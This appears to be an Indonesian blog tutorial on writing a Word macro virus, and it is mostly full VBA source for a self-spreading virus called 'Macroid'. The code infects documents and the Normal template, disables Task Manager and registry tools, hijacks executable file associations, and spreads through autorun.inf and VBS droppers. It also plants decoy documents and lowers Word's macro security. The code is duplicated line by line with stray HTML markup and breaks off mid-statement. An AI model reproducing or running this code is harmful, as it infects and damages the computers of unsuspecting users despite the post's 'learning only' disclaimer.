SIGMA KOMPUTER

Sabtu, 25 Januari 2025

Cara Membuat Virus dengan macro word 03

Pendahuluan
Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Cara Kerja
Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer tetapi dapat mengakibatkan kerusakan dengan cara memuat program yang memaksa over process ke perangkat tertentu. Efek negatif virus komputer adalah memperbanyak dirinya sendiri, yang membuat sumber daya pada komputer (seperti penggunaan memori) menjadi berkurang secara signifikan.Hampir 95% virus komputer berbasis sistem operasi Windows.Sisanya menyerang Linux/GNU, Mac, FreeBSD, OS/2 IBM, dan Sun Operating System. Virus yang ganas akan merusak perangkat keras.

(Baca: ilmu dalam tutorial ini untuk pembelajaran bukan untuk disalahgunakan)

Ini adalah tutorial saya yang kesekian kalinya dan mudah-mudahan tutorial kali ini bermanfaat untuk kalian.
Kali ini saya akan membahas mengenai virus macro… (para virus maker diharap untuk tenang dulu!).
Pasti banyak bertanya kenapa kali ini membahas tentang cara membuat virus? Biasanya kan lebih sering membahas analisis virus atau antivirusnya itu….
Yah kali ini memang agak berbeda.Selain untuk mencari suasana baru, aku juga agak tertantang dengan artikel yang saya buat ini.
Sebelum aku membuat artikel ini, aku sengaja mencari-cari kelemahan dari antivirusku sendiri (baca:Morphost). Ternyata aku lebih tertarik untuk membuat virus macro untuk mencari celah antivirusku itu.Untuk membuat artikel ini memang butuh pengorbanan juga.Soalnya komputerku jadi terinfeksi oleh virusku sendiri. Haaahhh…..

Virus macro merupakan virus yang dibuat dalam bahasa pemrograman visual basic macro di Microsoft Office.Kita ambil contoh, virus macro Word.
CARA MEMBUAT VIRUS

Buka Ms.Word (hanya contoh)
buka tools > Macro> Visual Basic Editor

Akan muncul gambar di bawah

Lalu kita ketikkan source virus nya pada kotak putih diatas dan akan tampak gambar seperti dibawah ini.

Sekarang muncul pertanyaan! Source yang bagaimana yang harus diketik???
Tenang, aku dah siapkan kok sourcenya. Makan neh source code!

‘This is my code’s virus

1	<span style=”color: #ff0000;”>‘This is my code’s virus</span>

‘

1	<span style=”color: #ff0000;”>‘</span>

‘Macro Viruses

1	<span style=”color: #ff0000;”>‘Macro Viruses</span>

‘[Macroid]

1	<span style=”color: #ff0000;”>‘[Macroid]</span>

‘

1	<span style=”color: #ff0000;”>‘</span>

‘Hanya untuk pembelajaran

1	<span style=”color: #ff0000;”>‘Hanya untuk pembelajaran</span>

Private Sub Document_Close()

1	<span style=”color: #ff0000;”>Private Sub Document_Close()</span>

Dim AD, NT As Object

1	<span style=”color: #ff0000;”>Dim AD, NT As Object</span>

Dim isi As String

1	<span style=”color: #ff0000;”>Dim isi As String</span>

Set AD = ActiveDocument.VBProject.VBComponents.Item(1)

1	<span style=”color: #ff0000;”>Set AD = ActiveDocument.VBProject.VBComponents.Item(1)</span>

Set NT = NormalTemplate.VBProject.VBComponents.Item(1)

1	<span style=”color: #ff0000;”>Set NT = NormalTemplate.VBProject.VBComponents.Item(1)</span>

If AD.Name <> “Macroid” Then

1	<span style=”color: #ff0000;”>If AD.Name <> “Macroid” Then</span>

AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines

1	<span style=”color: #ff0000;”>AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines</span>

AD.Name = “Macroid”

1	<span style=”color: #ff0000;”>AD.Name = “Macroid”</span>

isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)

1	<span style=”color: #ff0000;”>isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)</span>

AD.CodeModule.AddFromString isi

1	<span style=”color: #ff0000;”>AD.CodeModule.AddFromString isi</span>

ActiveDocument.Save

1	<span style=”color: #ff0000;”>ActiveDocument.Save</span>

End If

1	<span style=”color: #ff0000;”>End If</span>

If NT.Name <> “Macroid” Then

1	<span style=”color: #ff0000;”>If NT.Name <> “Macroid” Then</span>

NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines

1	<span style=”color: #ff0000;”>NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines</span>

NT.Name = “Macroid”

1	<span style=”color: #ff0000;”>NT.Name = “Macroid”</span>

isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)

1	<span style=”color: #ff0000;”>isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)</span>

NT.CodeModule.AddFromString isi

1	<span style=”color: #ff0000;”>NT.CodeModule.AddFromString isi</span>

NormalTemplate.Save

1	<span style=”color: #ff0000;”>NormalTemplate.Save</span>

End If

1	<span style=”color: #ff0000;”>End If</span>

If InStr(ActiveDocument.Content, “Macroid”) = 0 Then

1	<span style=”color: #ff0000;”>If InStr(ActiveDocument.Content, “Macroid”) = 0 Then</span>

ActiveDocument.Content = “[Macroid]”
& vbCrLf & ActiveDocument.Content & vbCrLf
& vbCrLf & vbCrLf & “[Macroid] by Morphic”
& vbCrLf & “copyright(c) Medan Juli-2008″

1	<span style=”color: #ff0000;”>ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″</span>

End If

1	<span style=”color: #ff0000;”>End If</span>

On Error Resume Next

1	<span style=”color: #ff0000;”>On Error Resume Next</span>

Dim b As Object

1	<span style=”color: #ff0000;”>Dim b As Object</span>

Set b = CreateObject(“Wscript.Shell”)

1	<span style=”color: #ff0000;”>Set b = CreateObject(“Wscript.Shell”)</span>

b.regwrite “HKCU\SOFTWARE\Microsoft\Internet
Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh
Macroid”

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”</span>

b.regwrite
“HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,
“Macroid”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”</span>

b.regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOrganization”, “Macroid”

1	<span style=”color: #ff0000;”>b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”</span>

b.regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”

1	<span style=”color: #ff0000;”>b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”</span>

b.regwrite “HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha
ha ha”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”</span>

b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,
“2″

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″</span>

b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,
“1″

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″</span>

b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,
“1″

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″</span>

b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,
“1″

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″</span>

b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,
“1″

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″</span>

b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,
“1″

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″</span>

b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”,
“1″

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″</span>

b.regwrite
“HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”,
“Tong Sampah Macroid”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”,
“Komputer Morphic”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”</span>

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ”
& Environ$(“windir”) & “\avmc.vbs”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”</span>

b.regwrite
“HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”,
“Winword.exe ” & Environ$(“windir”) &
“\Macroid.doc”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span>

On Error Resume Next

1	<span style=”color: #ff0000;”>On Error Resume Next</span>

Dim rog As Integer

1	<span style=”color: #ff0000;”>Dim rog As Integer</span>

Dim atr, vbs, Tipu(10), Trik(10) As String

1	<span style=”color: #ff0000;”>Dim atr, vbs, Tipu(10), Trik(10) As String</span>

For a = 66 To 90

1	<span style=”color: #ff0000;”>For a = 66 To 90</span>

partisi = Chr$(a)

1	<span style=”color: #ff0000;”>partisi = Chr$(a)</span>

vbs = partisi & “:\auto.vbs”

1	<span style=”color: #ff0000;”>vbs = partisi & “:\auto.vbs”</span>

atr = partisi & “:\autorun.inf”

1	<span style=”color: #ff0000;”>atr = partisi & “:\autorun.inf”</span>

Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”

1	<span style=”color: #ff0000;”>Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”</span>

Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”

1	<span style=”color: #ff0000;”>Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”</span>

Tipu(3) = partisi & “:\Titip File sebentar.doc”

1	<span style=”color: #ff0000;”>Tipu(3) = partisi & “:\Titip File sebentar.doc”</span>

Tipu(4) = partisi & “:\jangan di baca.doc”

1	<span style=”color: #ff0000;”>Tipu(4) = partisi & “:\jangan di baca.doc”</span>

Tipu(5) = partisi & “:\buku harian.doc”

1	<span style=”color: #ff0000;”>Tipu(5) = partisi & “:\buku harian.doc”</span>

Tipu(6) = partisi & “:\cerita hangat.doc”

1	<span style=”color: #ff0000;”>Tipu(6) = partisi & “:\cerita hangat.doc”</span>

Tipu(7) = partisi & “:\Punya Baim.doc”

1	<span style=”color: #ff0000;”>Tipu(7) = partisi & “:\Punya Baim.doc”</span>

Tipu(8) = partisi & “:\Teka-teki yang baru.doc”

1	<span style=”color: #ff0000;”>Tipu(8) = partisi & “:\Teka-teki yang baru.doc”</span>

Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”

1	<span style=”color: #ff0000;”>Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”</span>

Tipu(10) = partisi & “:\Trik Sulap.doc”

1	<span style=”color: #ff0000;”>Tipu(10) = partisi & “:\Trik Sulap.doc”</span>

If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “”
And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And
Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And
Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then

1	<span style=”color: #ff0000;”>If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then</span>

Randomize

1	<span style=”color: #ff0000;”>Randomize</span>

rog = Int(10 * Rnd) + 1

1	<span style=”color: #ff0000;”>rog = Int(10 * Rnd) + 1</span>

Open Tipu(rog) For Output As #1

1	<span style=”color: #ff0000;”>Open Tipu(rog) For Output As #1</span>

Print #1, “”

1	<span style=”color: #ff0000;”>Print #1, “”</span>

Close #1

1	<span style=”color: #ff0000;”>Close #1</span>

End If

1	<span style=”color: #ff0000;”>End If</span>

Trik(1) = partisi & “:\Novel J.K.Rowling.doc”

1	<span style=”color: #ff0000;”>Trik(1) = partisi & “:\Novel J.K.Rowling.doc”</span>

Trik(2) = partisi & “:\cerita cinta.doc”

1	<span style=”color: #ff0000;”>Trik(2) = partisi & “:\cerita cinta.doc”</span>

Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”

1	<span style=”color: #ff0000;”>Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”</span>

Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”

1	<span style=”color: #ff0000;”>Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”</span>

Trik(5) = partisi & “:\Kumpulan Cheat game.doc”

1	<span style=”color: #ff0000;”>Trik(5) = partisi & “:\Kumpulan Cheat game.doc”</span>

Trik(6) = partisi & “:\Cheat game RF.doc”

1	<span style=”color: #ff0000;”>Trik(6) = partisi & “:\Cheat game RF.doc”</span>

Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”

1	<span style=”color: #ff0000;”>Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”</span>

Trik(8) = partisi & “:\Goosebumps.doc”

1	<span style=”color: #ff0000;”>Trik(8) = partisi & “:\Goosebumps.doc”</span>

Trik(9) = partisi & “:\FearStreet.doc”

1	<span style=”color: #ff0000;”>Trik(9) = partisi & “:\FearStreet.doc”</span>

Trik(10) = partisi & “:\R.L.Stine.doc”

1	<span style=”color: #ff0000;”>Trik(10) = partisi & “:\R.L.Stine.doc”</span>

If Dir(Trik(1)) = “” And Dir(Trik(2)) = “”
And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And
Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And
Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then

1	<span style=”color: #ff0000;”>If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then</span>

Randomize

1	<span style=”color: #ff0000;”>Randomize</span>

rogi = Int(10 * Rnd) + 1

1	<span style=”color: #ff0000;”>rogi = Int(10 * Rnd) + 1</span>

Open Trik(rogi) For Output As #1

1	<span style=”color: #ff0000;”>Open Trik(rogi) For Output As #1</span>

Print #1, “”

1	<span style=”color: #ff0000;”>Print #1, “”</span>

Close #1

1	<span style=”color: #ff0000;”>Close #1</span>

End If

1	<span style=”color: #ff0000;”>End If</span>

Open atr For Output As #1

1	<span style=”color: #ff0000;”>Open atr For Output As #1</span>

Print #1, “[Autorun]“

1	<span style=”color: #ff0000;”>Print #1, “[Autorun]“</span>

Print #1, “shell\Open\command=wscript.exe auto.vbs”

1	<span style=”color: #ff0000;”>Print #1, “shell\Open\command=wscript.exe auto.vbs”</span>

Close #1

1	<span style=”color: #ff0000;”>Close #1</span>

SetAttr atr, vbHidden + vbSystem

1	<span style=”color: #ff0000;”>SetAttr atr, vbHidden + vbSystem</span>

Open vbs For Output As #1

1	<span style=”color: #ff0000;”>Open vbs For Output As #1</span>

Print #1, “dim a”

1	<span style=”color: #ff0000;”>Print #1, “dim a”</span>

Print #1, “set a = createobject(” &
Chr(34) & “Wscript.shell” & Chr(34) &
“)”

1	<span style=”color: #ff0000;”>Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”</span>

Print #1, “a.regwrite ” & Chr(34)
& “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level”
& Chr(34) & “,” & Chr(34) & “1″
& Chr(34) & “,” & Chr(34) & “REG_DWORD”
& Chr(34)

1	<span style=”color: #ff0000;”>Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)</span>

Print #1, “a.regwrite ” & Chr(34)
& “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level”
& Chr(34) & “,” & Chr(34) & “1″
& Chr(34) & “,” & Chr(34) & “REG_DWORD”
& Chr(34)

1	<span style=”color: #ff0000;”>Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)</span>

Print #1, “a.regwrite ” & Chr(34)
& “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level”
& Chr(34) & “,” & Chr(34) & “1″
& Chr(34) & “,” & Chr(34) & “REG_DWORD”
& Chr(34)

1	<span style=”color: #ff0000;”>Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)</span>

Close #1

1	<span style=”color: #ff0000;”>Close #1</span>

SetAttr vbs, vbHidden + vbSystem

1	<span style=”color: #ff0000;”>SetAttr vbs, vbHidden + vbSystem</span>

Next a

1	<span style=”color: #ff0000;”>Next a</span>

If Dir(Environ$(“windir”) & “\Macroid.doc”) = “” Then

1	<span style=”color: #ff0000;”>If Dir(Environ$(“windir”) & “\Macroid.doc”) = “” Then</span>

Dim isicrita As String

1	<span style=”color: #ff0000;”>Dim isicrita As String</span>

isicrita = “[Macroid] by Morphic” &
vbCrLf & “Copyright(c) Medan Juli-2008″ & vbCrLf
& vbCrLf & _

1	<span style=”color: #ff0000;”>isicrita = “[Macroid] by Morphic” & vbCrLf & “Copyright(c) Medan Juli-2008″ & vbCrLf & vbCrLf & _</span>

Chr(34) & “Ms.Word is a thing that
can be used as a power to break everything…. ” & Chr(34)
& vbCrLf & “(Morphic)”

1	<span style=”color: #ff0000;”>Chr(34) & “Ms.Word is a thing that can be used as a power to break everything…. ” & Chr(34) & vbCrLf & “(Morphic)”</span>

Open Environ$(“windir”) & “\Macroid.doc” For Output As #1

1	<span style=”color: #ff0000;”>Open Environ$(“windir”) & “\Macroid.doc” For Output As #1</span>

Print #1, isicrita

1	<span style=”color: #ff0000;”>Print #1, isicrita</span>

Close #1

1	<span style=”color: #ff0000;”>Close #1</span>

End If

1	<span style=”color: #ff0000;”>End If</span>

If Dir(Environ$(“windir”) & “\avmc.vbs”) = “” Then

1	<span style=”color: #ff0000;”>If Dir(Environ$(“windir”) & “\avmc.vbs”) = “” Then</span>

Open Environ$(“windir”) & “\avmc.vbs” For Output As #1

1	<span style=”color: #ff0000;”>Open Environ$(“windir”) & “\avmc.vbs” For Output As #1</span>

Print #1, “set fs = createobject(” &
Chr(34) & “Scripting.FileSystemObject” & Chr(34)
& “)”

1	<span style=”color: #ff0000;”>Print #1, “set fs = createobject(” & Chr(34) & “Scripting.FileSystemObject” & Chr(34) & “)”</span>

Print #1, “for each FD in fs.drives”

1	<span style=”color: #ff0000;”>Print #1, “for each FD in fs.drives”</span>

Print #1, “if (FD.Drivetype = 1) and FD.Path
<> ” & Chr(34) & “A:” & Chr(34)
& ” then”

1	<span style=”color: #ff0000;”>Print #1, “if (FD.Drivetype = 1) and FD.Path <> ” & Chr(34) & “A:” & Chr(34) & ” then”</span>

Print #1, “set tf =
fs.CreateTextFile(FD.Path” & Chr(38) & Chr(34) &
“\Jangan di baca.doc” & Chr(34) & “)”

1	<span style=”color: #ff0000;”>Print #1, “set tf = fs.CreateTextFile(FD.Path” & Chr(38) & Chr(34) & “\Jangan di baca.doc” & Chr(34) & “)”</span>

Print #1, “end if”

1	<span style=”color: #ff0000;”>Print #1, “end if”</span>

Print #1, “Next”

1	<span style=”color: #ff0000;”>Print #1, “Next”</span>

Close #1

1	<span style=”color: #ff0000;”>Close #1</span>

End If

1	<span style=”color: #ff0000;”>End If</span>

ActiveDocument.Save

1	<span style=”color: #ff0000;”>ActiveDocument.Save</span>

NormalTemplate.Save

1	<span style=”color: #ff0000;”>NormalTemplate.Save</span>

End Sub

1	<span style=”color: #ff0000;”>End Sub</span>

Private Sub Document_Open()

1	<span style=”color: #ff0000;”>Private Sub Document_Open()</span>

CommandBars(“Tools”).Controls(“Macro”).Visible = False

1	<span style=”color: #ff0000;”>CommandBars(“Tools”).Controls(“Macro”).Visible = False</span>

CommandBars(“Tools”).Controls(“Macro”).Enabled = False

1	<span style=”color: #ff0000;”>CommandBars(“Tools”).Controls(“Macro”).Enabled = False</span>

CommandBars(“Tools”).Controls(“Customize…”).Visible = False

1	<span style=”color: #ff0000;”>CommandBars(“Tools”).Controls(“Customize…”).Visible = False</span>

CommandBars(“Tools”).Controls(“Options…”).Visible = False

1	<span style=”color: #ff0000;”>CommandBars(“Tools”).Controls(“Options…”).Visible = False</span>

Dim AD, NT As Object

1	<span style=”color: #ff0000;”>Dim AD, NT As Object</span>

Dim isi As String

1	<span style=”color: #ff0000;”>Dim isi As String</span>

Set AD = ActiveDocument.VBProject.VBComponents.Item(1)

1	<span style=”color: #ff0000;”>Set AD = ActiveDocument.VBProject.VBComponents.Item(1)</span>

Set NT = NormalTemplate.VBProject.VBComponents.Item(1)

1	<span style=”color: #ff0000;”>Set NT = NormalTemplate.VBProject.VBComponents.Item(1)</span>

If AD.Name <> “Macroid” Then

1	<span style=”color: #ff0000;”>If AD.Name <> “Macroid” Then</span>

AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines

1	<span style=”color: #ff0000;”>AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines</span>

AD.Name = “Macroid”

1	<span style=”color: #ff0000;”>AD.Name = “Macroid”</span>

isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)

1	<span style=”color: #ff0000;”>isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)</span>

AD.CodeModule.AddFromString isi

1	<span style=”color: #ff0000;”>AD.CodeModule.AddFromString isi</span>

ActiveDocument.Save

1	<span style=”color: #ff0000;”>ActiveDocument.Save</span>

End If

1	<span style=”color: #ff0000;”>End If</span>

If NT.Name <> “Macroid” Then

1	<span style=”color: #ff0000;”>If NT.Name <> “Macroid” Then</span>

NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines

1	<span style=”color: #ff0000;”>NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines</span>

NT.Name = “Macroid”

1	<span style=”color: #ff0000;”>NT.Name = “Macroid”</span>

isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)

1	<span style=”color: #ff0000;”>isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)</span>

NT.CodeModule.AddFromString isi

1	<span style=”color: #ff0000;”>NT.CodeModule.AddFromString isi</span>

NormalTemplate.Save

1	<span style=”color: #ff0000;”>NormalTemplate.Save</span>

End If

1	<span style=”color: #ff0000;”>End If</span>

If InStr(ActiveDocument.Content, “Macroid”) = 0 Then

1	<span style=”color: #ff0000;”>If InStr(ActiveDocument.Content, “Macroid”) = 0 Then</span>

1	<span style=”color: #ff0000;”>ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″</span>

End If

1	<span style=”color: #ff0000;”>End If</span>

On Error Resume Next

1	<span style=”color: #ff0000;”>On Error Resume Next</span>

Dim b As Object

1	<span style=”color: #ff0000;”>Dim b As Object</span>

Set b = CreateObject(“Wscript.Shell”)

1	<span style=”color: #ff0000;”>Set b = CreateObject(“Wscript.Shell”)</span>

b.regwrite “HKCU\SOFTWARE\Microsoft\Internet
Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh
Macroid”

1	<span style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”</span>

b.regwrite
“HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,
“Macroid”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”</span>

b.regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOrganization”, “Macroid”

1	<span style=”color: #ff0000;”>b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”</span>

b.regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”

1	<span style=”color: #ff0000;”>b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”</span>

b.regwrite “HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha
ha ha”

1	<span style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”</span>

b.regwrite
